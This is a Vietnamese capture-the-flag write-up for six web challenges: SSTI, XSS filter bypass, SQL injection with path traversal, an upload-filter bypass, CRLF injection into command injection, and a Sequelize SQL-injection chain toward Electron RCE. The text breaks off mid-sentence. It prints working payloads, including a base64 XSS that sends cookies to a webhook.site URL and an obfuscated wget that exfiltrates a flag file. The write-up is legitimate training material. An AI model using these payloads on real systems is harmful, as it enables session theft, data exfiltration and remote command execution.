Đây là giải tuyển thành viên ban chuyên môn của KCSC miền Bắc ![image](https://hackmd.io/_uploads/BJdfNCwTC.png) Mình ở miền Nam nên sau khi giải kết thúc có vào làm thử và sau đây là writeup của mình # 1. now you see me ![image](https://hackmd.io/_uploads/HJKBNCPTR.png) Chall cho ta một trang web như sau ![image](https://hackmd.io/_uploads/HJKsVAP6R.png) Request trả về như sau: ``` HTTP/1.1 200 OK Server: Werkzeug/3.0.4 Python/3.12.6 Date: Wed, 18 Sep 2024 04:18:58 GMT Content-Type: text/html; charset=utf-8 Content-Length: 393 Connection: close <html> <head><title>Open Flag Challenge</title></head> <body> <center> <h1>Now you see me but ...</h1> <br><br> <table border='1' cellpadding='10'> <tr> <td>The closer you look<br>The less you see </tr> </table> </center> <!-- ======================================== --> <!-- Welcome nightcore, find me at /flag.txt --> <!-- ======================================== --> </body> </html> ``` Thử truy cập `/flag.txt` xem sao ![image](https://hackmd.io/_uploads/ryXDHRDTR.png) Chỉ là cú lừa :vampire: Để ý thấy server đang sử dụng python nên mình thử payload SSTI xem sao ![image](https://hackmd.io/_uploads/B1q2H0P6R.png) Kết quả theo dự đoán là đúng, giờ lụm flag thoi Payload: `{{ lipsum.__globals__["os"].popen('cat /flag.txt').read() }}` ![image](https://hackmd.io/_uploads/rklmIRDpC.png) `Flag: KCSC{flagrandomngaunhienlagicungdu0c}` # 2. x ec ec ![image](https://hackmd.io/_uploads/HkDLLCwaA.png) Như đề bài thì đây là 1 challenge XSS ![image](https://hackmd.io/_uploads/SkBqURwaR.png) Thử 1 payload cơ bản ![image](https://hackmd.io/_uploads/HyIpL0vpA.png) Kết quả đã bị filter viewsource xem thử thì thấy filter được viết ở client ![Screenshot 2024-09-18 112820](https://hackmd.io/_uploads/ry4QvRD60.png) Như ở trên thì các từ nhạy cảm như `"script", "on", "javascript:"` sẽ bị xóa đi. Nhưng nó chỉ bị xóa đi có một lần =))) Chúng ta có thể vượt qua dễ dàng bằng payload sau: `<img src=x oonnerror=alert(1)>` ![image](https://hackmd.io/_uploads/BJ5ydCPpR.png) Payload cuối cùng sẽ như sau: `<img src=x oonnerror=eval(atob("ZmV0Y2goJ2h0dHBzOi8vd2ViaG9vay5zaXRlL2JiYTBhZTAzLWJlZDItNDdhOC1hZmFiLWEyNmY5NTIwMDhjZScsIHsgIAogICAgICBtZXRob2Q6ICdQT1NUJywKICAgICAgaGVhZGVyczogewogICAgICAgICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJwogICAgICB9LAogICAgICBib2R5OiBkb2N1bWVudC5jb29raWUKICAgIH0pOw=="))>` ![image](https://hackmd.io/_uploads/HkAMF0Dp0.png) Kết quả: ![image](https://hackmd.io/_uploads/BkEEFRw6A.png) `Flag: KCSC{XSS_s0_ez_c51242915de4a05d20ac3870c87a9da1}` # 3. KCSC x Jujutsu Kaisen ![image](https://hackmd.io/_uploads/BykPKRwpA.png) Giao diện trang web như sau: ![image](https://hackmd.io/_uploads/SkiqKRDpR.png) Vì chall này có source nên mình sẽ vào source xem trước Đầu tiên là xem thử flag ở đâu ![image](https://hackmd.io/_uploads/rk4Z5RDpC.png) Flag ở trong table users nhưng đã bị ENCRYPT bằng một func nào đó ![image](https://hackmd.io/_uploads/rJxBcRP6C.png) Func name và key đều đã bị xóa Xem file index.php tìm thấy được bug đầu tiên là SQL injection ![Screenshot 2024-09-18 114319](https://hackmd.io/_uploads/S1-n5RPpC.png) Nhưng chỉ với bug này thì ta sẽ chỉ lấy được flag bị mã hóa thôi, chúng ta cần key để lấy được flag hoàn chỉnh Phía dưới thì có thêm 1 bug path traversal ![image](https://hackmd.io/_uploads/r1LXjCvT0.png) Vậy là đủ để lấy flag rồi. - Đầu tiên là bug SQLi ![image](https://hackmd.io/_uploads/ry9KiCPaR.png) Hàm `strrpos()` được sử dụng để tìm vị trí xuất hiện cuối cùng của dấu chấm trong chuỗi. Hàm `substr()` cắt chuỗi `$username` từ vị trí bắt đầu (chỉ mục 0) đến trước vị trí của dấu chấm (được lưu trong `$position`). ![image](https://hackmd.io/_uploads/ry0vnCPTA.png) Giờ thì lấy Func name với payload sau: `/?username='UNION+SELECT+ROUTINE_NAME+FROM+information_schema.ROUTINES+WHERE+ROUTINE_TYPE+=+'FUNCTION'--+.` ![Screenshot 2024-09-18 115402](https://hackmd.io/_uploads/ryxH60waC.png) Kết quả: `DECRYPT_DIALOGUE_xckQopBS4HrTe8b9` - Tiếp theo bug Path traversal với mục tiêu là đọc file index.php để lấy key giải mã ![image](https://hackmd.io/_uploads/BJVjaAwTA.png) Hàm str_replace được dùng để thay thế chuỗi con `./` bằng một chuỗi rỗng (`''`), nghĩa là loại bỏ phần `./` nếu nó xuất hiện trong đường dẫn. (Nhưng cũng chỉ đúng 1 lần) Bypass như sau: `...//...//...//...//...//var/www/html/index.php` ![image](https://hackmd.io/_uploads/HyOQCAv6C.png) Kết quả: ![image](https://hackmd.io/_uploads/HJacAAvpR.png) `$key_decrypt = "\$up3r_$3cr3t_4_$3cur3";` Payload cuối cùng: `'UNION+SELECT+DECRYPT_DIALOGUE_xckQopBS4HrTe8b9(dialogue,'\$up3r_$3cr3t_4_$3cur3')+FROM+users+WHERE+username='toge'--+.` ![image](https://hackmd.io/_uploads/ryA_1kO6C.png) `Flag: KCSC{https://www.youtube.com/watch?v=bX2dMtKEtdU#_p4km3QbeGVPZjrNoviGDQBSYdzeG1VCb}` # 4. easy-upload ![image](https://hackmd.io/_uploads/B1bq7J_T0.png) Hint 1 ![image](https://hackmd.io/_uploads/rJgjXJ_aA.png) Hint 2 ![image](https://hackmd.io/_uploads/BJpj7JOpA.png) Trang web như sau: ![image](https://hackmd.io/_uploads/BkyHgyuaA.png) Thử upload một file php lên xem sao: ![image](https://hackmd.io/_uploads/BybFlyO60.png) Đã bị filter :v Giả sử nếu ta upload thành công thì, chúng ta sẽ truy cập qua đâu ? Sau khi thử đủ loại fuzz, dirsearch các kiểu thì không tìm được gì :v Giờ chỉ còn cách làm cho server quăng ra lỗi thôi. ![image](https://hackmd.io/_uploads/rJ9bEkuaR.png) https://book.hacktricks.xyz/pentesting-web/file-upload Trong hack trick có nói filename ở linux thì maximun là 255 kí tự cho nên thử inject vào phần file name thử xem sao, server quăng ra lỗi thật ![image](https://hackmd.io/_uploads/BkvV-ydp0.png) ``` HTTP/1.1 200 OK Host: 157.15.86.73:3001 Date: Wed, 18 Sep 2024 05:11:52 GMT Connection: close X-Powered-By: PHP/8.2.12 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-type: text/html; charset=UTF-8 <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Easy Upload</title> <link rel="stylesheet" href="assets/style.css"> <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;600&display=swap" rel="stylesheet"> </head> <body> <div class="upload-container"> <div id="feedback"> <br /> <b>Warning</b>: move_uploaded_file(/app/uploads/428c390cd098ec9e23638d76a9790a14dcc19555e37751604d508b648eeaf05a/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.txt): Failed to open stream: Filename too long in <b>/app/upload.php</b> on line <b>42</b><br /> <br /> <b>Warning</b>: move_uploaded_file(): Unable to move &quot;/tmp/phpGnBcmG&quot; to &quot;/app/uploads/428c390cd098ec9e23638d76a9790a14dcc19555e37751604d508b648eeaf05a/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.txt&quot; in <b>/app/upload.php</b> on line <b>42</b><br /> Oh no we got a bug ``` Thử xem có dùng được path bị lộ ra không Đầu tiên upload 1 file `test.txt` ![image](https://hackmd.io/_uploads/S16nWJ_6R.png) Truy cập `/uploads/428c390cd098ec9e23638d76a9790a14dcc19555e37751604d508b648eeaf05a/test.txt` ![image](https://hackmd.io/_uploads/Hyip-Jd6C.png) Vậy là oke rồi, giờ chỉ cần bypass file name nữa là win Có thể thấy bất cứ từ `php` nào xuất hiện sẽ bị loại bỏ đi ![image](https://hackmd.io/_uploads/rk0tfJupR.png) Vậy thì cái này bypass giống với các chall trước Bypass thành công `test.pphpHp` ![image](https://hackmd.io/_uploads/Byuaf1d6A.png) Giờ thì lụm flag thui `ls /` ![image](https://hackmd.io/_uploads/HkrgQJOpR.png) `cat /flag_cd7b74071fe7291b1e67.txt` ![image](https://hackmd.io/_uploads/rkdZQkupR.png) `Flag: KCSC{l000000000000n9_4ss_f1l3_n4m3_f0r_th3_3xpl01t}` # 5. Anya's Secret Post ![image](https://hackmd.io/_uploads/Hy2oEk_p0.png) Hint ![image](https://hackmd.io/_uploads/Hya2VJOTC.png) https://stackoverflow.com/questions/76913406/how-allow-fastapi-to-handle-multiple-requests-at-the-same-time Còn hint 2 và hint 3 thì do mình không có account nên không xem được Challenge có cấu trúc thư mục như sau ``` ├── docker-compose.yml ├── solve.py └── src ├── app │ ├── app │ │ ├── app.py │ │ ├── requirements.txt │ │ ├── run.sh │ │ └── templates │ │ ├── create.html │ │ ├── delete.html │ │ ├── menu.html │ │ ├── result.html │ │ └── update.html │ └── Dockerfile └── server ├── app │ ├── main.py │ ├── requirements.txt │ └── run.sh ├── Dockerfile └── flag.txt ``` Chall gồm có 2 docker (client và server) ![image](https://hackmd.io/_uploads/ByHxkAYaC.png) Trang web có giao diện như sau: ![image](https://hackmd.io/_uploads/HJN0RaKp0.png) Phân tích nhanh source code như sau: - Client thì có một điểm đáng ngờ chính là hàm curl() này: ![image](https://hackmd.io/_uploads/BkKjJ0F6C.png) ![image](https://hackmd.io/_uploads/S1NdJAta0.png) Và hàm curl() này sẽ được sử dụng ở nhiều route để call đến server, dưới đây là 1 ví dụ ![image](https://hackmd.io/_uploads/ryofeRKpA.png) - Ở server thì có bug command injection như sau: ![image](https://hackmd.io/_uploads/rk25l0KT0.png) Vấn đề là các route ở client không có route nào call đến `/nhiem_vu_sieu_cap_toi_thuong` :call_me_hand: =)) những context kiểu này mình sẽ nghĩ ngay đến bug CLRF hoặc SSRF gì đó Giờ ngâm cứu lại cái hàm curl() này xem sao, coi thử chúng control được những gì ```python def curl(path, method, host, token=None, data=None): try: # Don't do anything if is_blacklisted(host): return "Nah!!! You don't have permission from Anya" else: args = ['/usr/bin/curl', f'{SERVER}{path}', '-H', f'Token: {token}', '-H', f'X-Forwarded-For: {host}', '-H', 'Content-Type: application/json', '-X', method, '--ignore-content-length', '--max-time', '0.5', '-d', json.dumps(data) if data else ''] res = subprocess.run(args, capture_output=True) return res.stdout.decode() except: return None ``` Tham số truyền vào bao gồm `path`, `method`, `host`, `token`, `data` Trong đó `path`, `method`, `host` là những giá trị ta không thể kiểm soát. Còn lại `token` và `data` Bên phía server `data` không được sử dụng để làm gì nên nó cũng vô dụng nốt Vậy chỉ có `token` là sử dụng được. Vì source dùng curl để request nên mình sẽ thử test với CRLF xem sao. Giả sử mình truy cập route `/read_post` ![image](https://hackmd.io/_uploads/S1t6MAKpA.png) ![image](https://hackmd.io/_uploads/r17-X0K6C.png) Thì client sẽ tạo một request đến server kiểu như sau: ``` GET /post HTTP/1.1 Host: 157.15.86.73:3003 Token: my_token_123 X-Forwarded-For: 157.15.86.73 Content-Type: application/json Content-Length: 2 {} ``` Nếu header Token của ta là `my_token_123%0D%0A%0D%0A%0D%0A%0D%0AGET%20/nhiem_vu_sieu_cap_toi_thuong?cmd=id%20HTTP/1.1%0D%0AX-Forwarded-For:%20127.0.0.1%0D%0AToken:%20my_token_123%0D%0AConnection:%20close%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A` Khi đó request của chúng ta sẽ trở thành ``` GET /post HTTP/1.1 Host: 157.15.86.73:3003 Token: my_token_123 GET /nhiem_vu_sieu_cap_toi_thuong?cmd=id HTTP/1.1 X-Forwarded-For: 127.0.0.1 Token: my_token_123 Connection: close X-Forwarded-For: 157.15.86.73 Content-Type: application/json Content-Length: 2 {} ``` Trong đó `%0A%0D` là kí tự xuống dòng và `Connection: close` để bỏ qua phần thừa phía sau lại Và đó là giả thiết, bây giờ mình sẽ thực hành: Payload: `2751c755e607d467f59d2e661d9c18298ba18b8316107c97d46e34cbb3a1888f%0D%0A%0D%0A%0D%0A%0D%0AGET%20/nhiem_vu_sieu_cap_toi_thuong?cmd=id%20HTTP/1.1%0D%0AX-Forwarded-For:%20127.0.0.1%0D%0AToken:%202751c755e607d467f59d2e661d9c18298ba18b8316107c97d46e34cbb3a1888f%0D%0AConnection:%20close%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A` Kết quả ![Screenshot 2024-09-19 234553](https://hackmd.io/_uploads/B1MOBRYaR.png) Giờ thì chỉ còn bypass command nữa thôi Mình dùng command wildcard này :>, dễ dàng bypass `tac%09/flag_????????????????????????????????.txt` - `tac` thì tương tự lệnh `cat` nhưng đọc từ dòng cuối đi lên, flag thì chỉ có một dòng nên không ảnh hưởng - `%09` là kí tự tab được sử dụng để thay cho kí tự space đã bị filter - `?` là wildcard trong linux được sử dụng để thay thế cho kí tự bất kì. Tuy mình không biết flag là gì nhưng mình biết được format của flag nên sử dụng cách này được. Còn không thì cứ `tac /*` cho lẹ :v ![image](https://hackmd.io/_uploads/SkZvURYpR.png) Payload: `2751c755e607d467f59d2e661d9c18298ba18b8316107c97d46e34cbb3a1888f%0D%0A%0D%0A%0D%0A%0D%0AGET%20/nhiem_vu_sieu_cap_toi_thuong?cmd=tac%2509/flag_????????????????????????????????.txt%20HTTP/1.1%0D%0AX-Forwarded-For:%20127.0.0.1%0D%0AToken:%202751c755e607d467f59d2e661d9c18298ba18b8316107c97d46e34cbb3a1888f%0D%0AConnection:%20close%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A` Kết quả: ![Screenshot 2024-09-19 235216](https://hackmd.io/_uploads/r1YJwAFpC.png) Giả sử command bị filter và dạng blind thì chúng ta có thể dùng payload sau để call flag ra ngoài: `a=wg;b=et;$a$b%2509--post-data=%2522flag=$(tac%2509/flag_????????????????????????????????.txt)%2522%2509https://webhook.site/58fb46ae-b7c2-43a3-b8fa-1acba702e6b0` ![image](https://hackmd.io/_uploads/rJ9vO0F6A.png) `Flag: KCSC{W4k4_w4k4!!!_s3cr3t_m1ss1on_of_4ny4_1s_https://www.youtube.com/watch?v=A5OLaBlQP9I}` # 6. KCSC E-learning ![image](https://hackmd.io/_uploads/H12kH1_60.png) Hint ![image](https://hackmd.io/_uploads/SyxWry_6A.png) Giao diện của trang web như sau: ![image](https://hackmd.io/_uploads/Hk1E_mFaA.png) Sau khi đăng nhập Courses ![image](https://hackmd.io/_uploads/BJF6OmKaR.png) Subjects ![image](https://hackmd.io/_uploads/SJ_bKmK60.png) Questions ![image](https://hackmd.io/_uploads/HJL7YQt60.png) 2 chức năng còn lại là `All users` và `Notes` thì chỉ có role `admin` mới có thể sử dụng. Challenge có cấu trúc thư mục như sau: ``` ├── client │ ├── Dockerfile │ ├── package.json │ ├── package-lock.json │ ├── public │ │ ├── favicon.ico │ │ ├── images │ │ │ ├── Backsplash.png │ │ │ ├── bg.svg │ │ │ ├── boot.svg │ │ │ ├── call.svg │ │ │ ├── chill.svg │ │ │ ├── clouds.svg │ │ │ ├── default-avatar.png │ │ │ ├── email-expired.svg │ │ │ ├── email-verified.svg │ │ │ ├── email-verifying.svg │ │ │ ├── graggle.svg │ │ │ ├── group-avatar.png │ │ │ ├── group.svg │ │ │ ├── kcsc_log.jpg │ │ │ ├── kcsc.png │ │ │ ├── load.gif │ │ │ ├── no-blocked-bg.svg │ │ │ ├── no-friends-bg.svg │ │ │ ├── no-friends-online-bg.svg │ │ │ ├── no-friends-pending-bg.svg │ │ │ ├── qr-code.png │ │ │ ├── qr-logo.png │ │ │ ├── reset-password-invalid.svg │ │ │ ├── reset-password.svg │ │ │ ├── sparkles.svg │ │ │ └── voice.svg │ │ ├── index.html │ │ ├── logo192.png │ │ ├── logo512.png │ │ ├── logos │ │ │ ├── full_logo_black_RGB.png │ │ │ ├── full_logo_black_RGB.svg │ │ │ ├── full_logo_blurple_RGB.png │ │ │ ├── full_logo_blurple_RGB.svg │ │ │ ├── full_logo_white_RGB.png │ │ │ ├── full_logo_white_RGB.svg │ │ │ ├── icon_clyde_black_RGB.png │ │ │ ├── icon_clyde_black_RGB.svg │ │ │ ├── icon_clyde_blurple_RGB.png │ │ │ ├── icon_clyde_blurple_RGB.svg │ │ │ ├── icon_clyde_white_RGB.png │ │ │ ├── icon_clyde_white_RGB.svg │ │ │ ├── small_logo_black_RGB.png │ │ │ ├── small_logo_black_RGB.svg │ │ │ ├── small_logo_blurple_RGB.png │ │ │ ├── small_logo_blurple_RGB.svg │ │ │ ├── small_logo_white_RGB.png │ │ │ └── small_logo_white_RGB.svg │ │ ├── manifest.json │ │ └── robots.txt │ ├── src │ │ ├── App.test.tsx │ │ ├── App.tsx │ │ ├── assets │ │ │ ├── images │ │ │ │ ├── image1.png │ │ │ │ ├── images11.png │ │ │ │ ├── Islamicstudies1.png │ │ │ │ ├── Rectangle20.png │ │ │ │ ├── Rectangle40.png │ │ │ │ ├── Rectangle41.png │ │ │ │ ├── Rectangle42.png │ │ │ │ ├── Rectangle54.png │ │ │ │ ├── Rectangle61.png │ │ │ │ ├── servicesdetails11.png │ │ │ │ ├── Star4.png │ │ │ │ └── Star5.png │ │ │ └── sounds │ │ │ ├── Correct Answer Sound Effect.mp3 │ │ │ └── Wrong Answer sound effect.mp3 │ │ ├── components │ │ │ ├── admin │ │ │ │ ├── AllUser.tsx │ │ │ │ ├── DetailUser │ │ │ │ │ └── DetailUser.tsx │ │ │ │ └── Note.tsx │ │ │ ├── DetailCourse │ │ │ │ └── DetailCourse.tsx │ │ │ ├── DetailQuestion │ │ │ │ └── DetailQuestion.tsx │ │ │ ├── DetailSubject │ │ │ │ └── DetailSubject.tsx │ │ │ ├── ExamSection │ │ │ │ ├── LeftNav │ │ │ │ │ └── LeftSection.tsx │ │ │ │ └── rightPart │ │ │ │ ├── Course.tsx │ │ │ │ ├── Question.tsx │ │ │ │ └── Subject.tsx │ │ │ ├── loading │ │ │ │ ├── index.module.scss │ │ │ │ └── index.tsx │ │ │ └── Navbar │ │ │ ├── DropDown.tsx │ │ │ └── NavBar.tsx │ │ ├── index.css │ │ ├── index.tsx │ │ ├── logo.svg │ │ ├── pages │ │ │ ├── admin │ │ │ │ ├── AllUserPage.tsx │ │ │ │ └── NotePage.tsx │ │ │ ├── CoursePage.tsx │ │ │ ├── HomePage.tsx │ │ │ ├── login.tsx │ │ │ ├── QuestionPage.tsx │ │ │ ├── register.tsx │ │ │ ├── rootRoute.tsx │ │ │ └── SubjectPage.tsx │ │ ├── react-app-env.d.ts │ │ ├── redux │ │ │ ├── slide │ │ │ │ ├── answerSlide.ts │ │ │ │ ├── authSlide.ts │ │ │ │ ├── courseSlide.ts │ │ │ │ ├── questionSlide.ts │ │ │ │ ├── subjectSlide.ts │ │ │ │ └── userSlide.ts │ │ │ └── store.ts │ │ ├── reportWebVitals.ts │ │ ├── setupTests.ts │ │ └── utils │ │ ├── admin │ │ │ └── api.ts │ │ ├── api.ts │ │ ├── baseURL.ts │ │ ├── help.ts │ │ └── hooks │ ├── tailwind.config.js │ ├── tsconfig.json │ ├── yarn-error.log │ └── yarn.lock ├── docker-compose.yml ├── mysql │ ├── Dockerfile │ └── on_tap_khoa_hoc.sql └── server ├── app.js ├── database.js ├── Dockerfile ├── entrypoint.sh ├── flag.txt ├── GraphQL │ ├── answer.js │ ├── auth.js │ ├── course.js │ ├── question.js │ ├── subject.js │ └── user.js ├── helpers │ └── JWTHelper.js ├── middleware │ ├── authGuard.js │ └── MiddlewareLimit.js ├── models │ ├── cauhoi.js │ ├── khoahoc.js │ ├── monhoc.js │ ├── phuongan.js │ └── user.js ├── package.json ├── package-lock.json ├── public ├── resolver ├── routes │ └── routes.js ├── utils │ ├── index.html │ ├── main.js │ ├── preload.js │ └── renderer.js └── yarn.lock ``` Phải nói chall rất đầu tư hình ảnh các thứ, xịn xịn Thấy flag như này thì sure kèo mục tiêu của challenge là RCE rồi ![image](https://hackmd.io/_uploads/Byl8LNKaC.png) Chall sẽ có 3 docker như sau ![image](https://hackmd.io/_uploads/ryOGo7KTR.png) - frontend port 3000 - backend port 4000 - mysql Khi gặp challenge js mà có cung cấp file `package.jon` như này thì việc đầu tiên mình thường làm sẽ là chạy lệnh `npm audit` xem thử có tồn tại những lổ hỗng nào trong version hiện tại hay không. Nói là làm luôn ``` KCSC_E-learning\KCSC E-learning\server> npm audit # npm audit report body-parser <1.20.3 Severity: high body-parser vulnerable to denial of service when url encoding is enabled - https://github.com/advisories/GHSA-qwcr-r2fm-qrc7 fix available via `npm audit fix` node_modules/body-parser express <=4.19.2 || 5.0.0-alpha.1 - 5.0.0-beta.3 Depends on vulnerable versions of body-parser Depends on vulnerable versions of path-to-regexp Depends on vulnerable versions of send Depends on vulnerable versions of serve-static node_modules/express path-to-regexp <0.1.10 Severity: high path-to-regexp outputs backtracking regular expressions - https://github.com/advisories/GHSA-9wv6-86v2-598j fix available via `npm audit fix` node_modules/path-to-regexp send <0.19.0 Severity: moderate send vulnerable to template injection that can lead to XSS - https://github.com/advisories/GHSA-m6fv-jmcg-4jfg fix available via `npm audit fix` node_modules/send serve-static <=1.16.0 Depends on vulnerable versions of send node_modules/serve-static sequelize <=6.28.2 Severity: critical Sequelize vulnerable to SQL Injection via replacements - https://github.com/advisories/GHSA-wrh9-cjv3-2hpw Sequelize information disclosure vulnerability - https://github.com/advisories/GHSA-8c25-f3mj-v6h8 Sequelize - Default support for “raw attributes” when using parentheses - https://github.com/advisories/GHSA-f598-mfpv-gmfx Unsafe fall-through in getWhereConditions - https://github.com/advisories/GHSA-vqfx-gj96-3w95 fix available via `npm audit fix` node_modules/sequelize 6 vulnerabilities (2 moderate, 3 high, 1 critical) To address all issues, run: npm audit fix ``` Theo kết quả thì version `sequelize` mà chall sử dụng đang dính 1 lỗ hổng `Severity: critical` là SQL injection Chi tiết: Sequelize vulnerable to SQL Injection via replacements - https://github.com/advisories/GHSA-wrh9-cjv3-2hpw ![image](https://hackmd.io/_uploads/SJQl9QKpC.png) Có bug SQL injection rồi thì chắc là ý tưởng sẽ lấy acc admin. Vì source code rất rất dài, ngồi đọc hết thì mất hết thanh xuân nên mình sẽ tìm bằng những từ khóa, ví dụ như bug SQLi kia thì key là `replacements:` Mình sẽ sử dụng lệnh `grep -r "replacements:" .` Kết quả: ``` nightcore$ grep -r "replacements:" . ./server/GraphQL/subject.js: replacements: { firstName : __.firstName }, ``` Đã tìm được code chứa bug 1 cách nhanh chóng và API này không cần role `admin` để access quá đã ![image](https://hackmd.io/_uploads/BJsasQKpR.png) ![image](https://hackmd.io/_uploads/Hk2ksXF6A.png) Vậy giờ truy vấn như nào :v Cái GraphQL này mình cũng mù chúa luôn Bắt đại 1 request rồi bắt chước theo thôi :v, mình lấy sample từ cái request login đi ```js const typeDefs = gql` type Mutation { login(username: String!, password: String!): AuthPayload register(username: String!, password: String!): RegisterResponse refreshToken: RefreshTokenResponse logout: LogoutResponse } type User { id: ID! username: String! } type AuthPayload { userInformation: User! token: String! refreshToken: String! } `; const resolvers = { Query: { }, Mutation: { login: async (_, { username, password }, { req, res }) => { try { const user = await db.users.findOne({ where: { username } }); if (!user) throw new Error('User not found'); if (user.password !== password) throw new Error('Invalid password'); const token = JWTHelper.signToken({ id: user.id, username, admin: user.admin }); const refreshToken = JWTHelper.signRefreshToken({ id: user.id, username, admin: user.admin }); await db.users.update( { token, refreshToken }, { where: { id: user.id } } ); res.cookie('refreshToken', refreshToken, { httpOnly: true, secure: true, path: "/", sameSite: "strict" }); const userInformation = { id: user.id, username: user.username, admin: user.admin }; return { userInformation, token, refreshToken, }; } catch (error) { throw new Error(`Login failed: ${error.message}`); } }, register: async (_, { username, password }) => { try { const existingUser = await db.users.findOne({ where: { username } }); if (existingUser) throw new Error('Username already taken'); await db.users.create({ username, password }); return { message: 'User register successfully', statusCode: 201 }; } catch (error) { throw new Error(`Registration failed: ${error.message}`); } }, }, }; ``` Request như sau: ![image](https://hackmd.io/_uploads/H1Bs6mKpR.png) Bắt chước viết theo và thành công ``` { "query": "mutation($firstName: String!, $lastName: String!) { searchSubjectByName(firstName: $firstName, lastName: $lastName) { id, ten_mon, khoa_id } }", "variables": { "firstName": "Toán chuyên đề", "lastName": "" } } ``` ![image](https://hackmd.io/_uploads/rJMsLEFpA.png) Giờ thì thử payload SQL trong link kia xem sao Oh yeah, lỗi rồi ![image](https://hackmd.io/_uploads/BygizVtTA.png) Thôi thì cứ debug từ từ vậy, mình sẽ sửa lại code của file subject.js trong docker lại ![image](https://hackmd.io/_uploads/rk97QEYaR.png) Phần `catch (error)` mình sẽ `console.error(error)` để xem lỗi chi tiết là gì Kết quả: ``` 2024-09-16 12:11:32 sqlMessage: "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ';'')' at line 1", 2024-09-16 12:11:32 sql: "SELECT `id`, `ten_mon`, `khoa_id` FROM `monhoc` AS `monhoc` WHERE (soundex(ten_mon) = soundex('OR true;') OR `monhoc`.`ten_mon` = ''OR true;'');", 2024-09-16 12:11:32 parameters: undefined 2024-09-16 12:11:32 }, 2024-09-16 12:11:32 sql: "SELECT `id`, `ten_mon`, `khoa_id` FROM `monhoc` AS `monhoc` WHERE (soundex(ten_mon) = soundex('OR true;') OR `monhoc`.`ten_mon` = ''OR true;'');", 2024-09-16 12:11:32 parameters: undefined 2024-09-16 12:11:32 } ``` Sau khi biết lỗi là gì rồi, fix lại và đã chạy thành công: Payload: ` OR 1=1);-- ` ![image](https://hackmd.io/_uploads/HknQ4VtTC.png) Acc admin có id là 1 ![image](https://hackmd.io/_uploads/BkHU4NFT0.png) Thành công leak được acc admin Payload: ` OR 1=0) UNION SELECT 1,(select concat(username,password) from users where id=1),1;-- ` ![image](https://hackmd.io/_uploads/r1ihEEFaR.png) ``` administrator n0i_anh_b@n_mai_vang_ten_t@_diu_d@ng ``` Bây giờ thì login vào admin xem như nào All user ![image](https://hackmd.io/_uploads/rkgPrEYpC.png) Notes ![image](https://hackmd.io/_uploads/r16vH4Yp0.png) Ngoài ra mình còn tra thủ công bằng tay trên google thêm để tránh thiếu sót ![image](https://hackmd.io/_uploads/SJzQvEF6A.png) Thì `electron` 8.0.0 có thể bị RCE nếu - nodeIntegration được bật (nodeIntegration: true) - contextIsolation bị tắt (contextIsolation: false) Chi tiết ở đây: https://github.com/Lilly-dox/RCE-to-XSS-Electron-8.0.0 Thử tra source thì kết quả là có thật, lụm. Cụ thể là trong file `main.js` ở phía server ``` nightcore@/KCSC E-learning$ grep -r "nodeIntegration: true" . ./server/utils/main.js: nodeIntegration: true, ``` main.js ```js const {app, BrowserWindow} = require('electron') const path = require('path') function createWindow () { const mainWindow = new BrowserWindow({ width: 800, height: 600, show: false, webPreferences: { preload: path.join(__dirname, 'preload.js'), nodeIntegration: true, contextIsolation: false } }) mainWindow.loadFile('index.html') } app.on('ready', createWindow) app.on('window-all-closed', function () { if (process.platform !== 'darwin') app.quit() }) app.on('activate', function () { if (BrowserWindow.getAllWindows().length === 0) createWindow() }) ``` File này load file `index.html` ![Screenshot 2024-09-19 123806](https://hackmd.io/_uploads/BJ4kKEKTA.png) `index.html` lại gọi tới file `renderer.js` ![Screenshot 2024-09-19 123909](https://hackmd.io/_uploads/B1wmFEKpR.png) Và file `renderer.js` này lại dính XSS nếu ta có thể control được `data.txt` **Ý tưởng: XSS to RCE** Giờ thì tìm kiếm sự xuất hiện của `data.txt` trong source tiếp ``` nightcore@/KCSC E-learning$ grep -r "data.txt" . ./server/GraphQL/question.js: const filePath = path.join(dirPath, 'data.txt'); ./server/utils/renderer.js:const filePath = path.join(__dirname, 'data.txt'); ``` ![image](https://hackmd.io/_uploads/Hkg0-cVY6R.png) Chức năng note này khi sẽ ghi dữ liệu vào file `data.txt` ![image](https://hackmd.io/_uploads/B1mNcVKaR.png) Còn một bước cuối là 